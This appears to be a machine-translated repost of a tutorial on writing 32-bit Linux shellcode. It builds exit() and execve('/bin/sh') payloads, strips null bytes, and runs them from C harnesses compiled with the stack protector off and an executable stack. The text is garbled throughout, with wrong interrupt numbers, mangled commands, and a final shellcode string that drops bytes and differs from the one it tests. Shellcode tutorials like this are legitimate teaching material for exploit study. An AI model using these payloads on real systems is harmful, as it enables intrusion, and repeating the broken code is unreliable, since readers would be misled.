In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article is about how shellcode writes Linux. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.
System call
Shellcode is a set of injectable instructions that can be run in the exploited program. Because shellcode manipulates registers and functions directly, it must be in hexadecimal form. So why write shellcode? Because we want the target program to run differently than the designer expected, one of the ways to operate the program is to force it to generate a system call (system,call,syscall). Through system calls, you can access the system kernel directly. In Linux, there are two methods to execute system calls, the indirect method is c function wrapper (libc), the direct method is to use assembly instructions (by loading the appropriate parameters into the register, and then calling int 0x80 soft interrupt) the system call number is the key number to determine a system call, before executing the int instruction, it should be passed into the EAX register After determining a system call number, you should consider what parameters are passed to the system call to accomplish what kind of function. There are five registers for parameters. They are EBX,ECX,EDX,ESI and EDI. These five registers sequentially store incoming system call parameters. The system call number can be viewed on Ubuntu18.04 through the following files:
/ usr/include/x8664-linux-gnu/asm/unistd32.h
# ifndef _ ASM_X86_UNISTD_32_H
# define _ ASM_X86_UNISTD_32_H 1
# define _ _ NR_restart_syscall 0
# define _ _ NR_exit 1
# define _ _ NR_fork 2
# define _ _ NR_read 3
# define _ _ NR_write 4
# define _ _ NR_open 5
# define _ _ NR_close 6
# define _ _ NR_waitpid 7
# define _ _ NR_creat 8
# define _ _ NR_link 9
# define _ _ NR_unlink 10
# define _ _ NR_execve 11
ASCII code
Write the shellcodeexit system call process for exit () system call
View the system call flow of exit in handwriting. Write exit.c code:
# include
# include
# include
Int main () {
Exit (0)
}
Use the static option when compiling to prevent the use of dynamic links and keep the exit system call code in the program
Gcc-static-o exit exit.c-32
Exit loads the parameters of the system call into the ebx_exit and exit lines by copying the corresponding system call numbers to eax, respectively. The final int 0x80 instruction switches cpu to kernel mode and executes our system call.
Shellcode writing
It is important to note that our shellcode should be as concise and compact as possible so that smaller buffers can be injected (when you encounter an n-byte buffer, you not only have to copy the entire shellcode into the buffer, but also add instructions to call shellcode, so shellcode must be smaller than n). In the real world, shellcode will be executed without other instructions setting parameters for it, so we have to set the parameters ourselves. Here we first set the parameters by putting 0 into the ebx. Refer to the exit system call process (1) put 0 into ebx (2) put 0x1 into eax (3) call int 0x18 to write exit_shellcode.asm
Section .text
Global _ start
_ start:
Mov ebx, 0
Mov ax, 1
Int 0x80
Then compile with nasm, generate the object file, and connect with gun ld:
Nasm-f elf32-o hello.o exit_shellcode.asm
Ld-m elf_i386-o hello hello.o
View the appropriate opcode:
Note: it looks like it worked. Unfortunately, this shellcode may not be used in an actual attack. As you can see, there are also some NULL (\ X00) characters in this string of shellcode, and sometimes exceptions occur when we copy shellcode to the buffer (because the character array uses null as the Terminator). To write a really useful shellcode, we also need to find a way to eliminate\ x00.
Optimize the above code to remove (\ x00), as follows:
Section .text
Global _ start
_ start:
Xor ebx, ebx
Mov al, 1
Int 0x80
Use nasm compilation and gun ld to connect and check through objdump, as follows: well, there is no more\ x00. Next, you can write a c program to test the shellcode. This block is designed to C language pointer functions and function pointers. Update the relevant contents of the pointer function later.
Char shellcode [] = "\ x31\ xdb"
"\ xb0\ X01"
"\ xcd\ x80"
Int main (void)
{
Int * ret
Ret = (int *) & ret + 2
(* ret) = (int) shellcode
}
After compilation, use strace to view the system calls:
Write shellcode for execve ()
Return shell via execve
# include
# include
Char * buf [] = {"/ bin/sh", NULL}
Int main (void)
{
Execve ("/ bin/sh", buf,0)
Exit (0)
}
Compiler, run to get the system shell: start writing shellcode:
Global _ start
_ start:
Mov eax,0; eax set to 0
Mov edx,0; edx set to 0
Push edx
Push "/ sh"
Push "/ bin"; store / bin/sh on the stack
Mov ebx,esp; ebx points to / bin/sh string
Xor eax,eax
Mov al,0Bh; eax is set to the interrupt number of execve function
Int 80h
Save as shellcode.asm, compile the link, and then run to get shell
Get the machine code
$objdump-d shellcode shellcode: file format elf32-i386Disassembly of section .text: 08048060: 8048060: B8 0000 0000 mov $0x0 mov% eax 8048065: ba 0000 0000
Mov $0x00x68732f% edx 804806a: 52 push% edx804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f62 69 6e push $0x6e69622f 8048075: 89 e3
Mov% esp,%ebx 8048077: 31 c0 xor% eax,%eax8048079: b00b mov $0xbMagne% al 804807b: cd 80
Int $0x80
It is found that there are many / x00 bytes in the machine code, and the / x00 bytes in shellcode will be truncated when they are used, so we should avoid the occurrence of / x00 bytes and modify our assembler.
Global _ start
_ start:
Xor ecx,ecx
Xor edx,edx
Push edx
Push "/ / sh"
Push "/ bin"
Mov ebx,esp
Xor eax,eax
Mov al,0Bh
Int 80h
Compile the link to run to get the machine code
$objdump-d. / shellcode./shellcode: file format elf32-i386Disassembly of section .text: 08048060: 8048060: 31 c9 xor% ecx,%ecx8048062: 31 d2 xor% edx,%edx8048064: 52 push% edx8048065: 68 2f2f 73 68 push $0x68732f2f804806a: 68 2f 62 69 6e push $0x6e69622f804806f: 89 e3 mov% esp,%ebx8048071: 31 c0 xor% eax,%eax8048073: b00b mov $0xbjue% al8048075: cd 80 int $0x80
No / x00 byte appears, resulting in the final shellcode = "\ x31\ xc9\ x31\ xd2\ x52\ x68\ x2f\ x2f\ x73\ x68\ x62\ x69\ x6e\ x89\ xe3\ X31\ xc0\ xb0\ X0b\ xcd\ x80"
Test the code:
Void main () {
Char shellcode [] = "\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x2f\ x73\ x68\ x2f\ x62\ x69\ x6e\ x89\ xe3\ xcd\ x80"
Void (* fp) (void)
Fp = (void*) shellcode
Fp ()
}
Compile:
Gcc-fno-stack-protector-z execstack shellcode.c-o shellcode-M32
Here is a convenient instruction to extract shellcode, where. / execve-stack is an executable program
Objdump-d. / execve-stack | grep'[0-9a-f]:'| grep-v 'file' | cut-f2murd: | cut-F1-6-d'' | tr-s''| tr'\ t''| sed's Universe / / g' | sed's / /\ xUnip / paste-d'-s | sed's / ^ / "/'| sed's _
Thank you for reading! This is the end of the article on "how shellcode writes Linux". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it out for more people to see!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.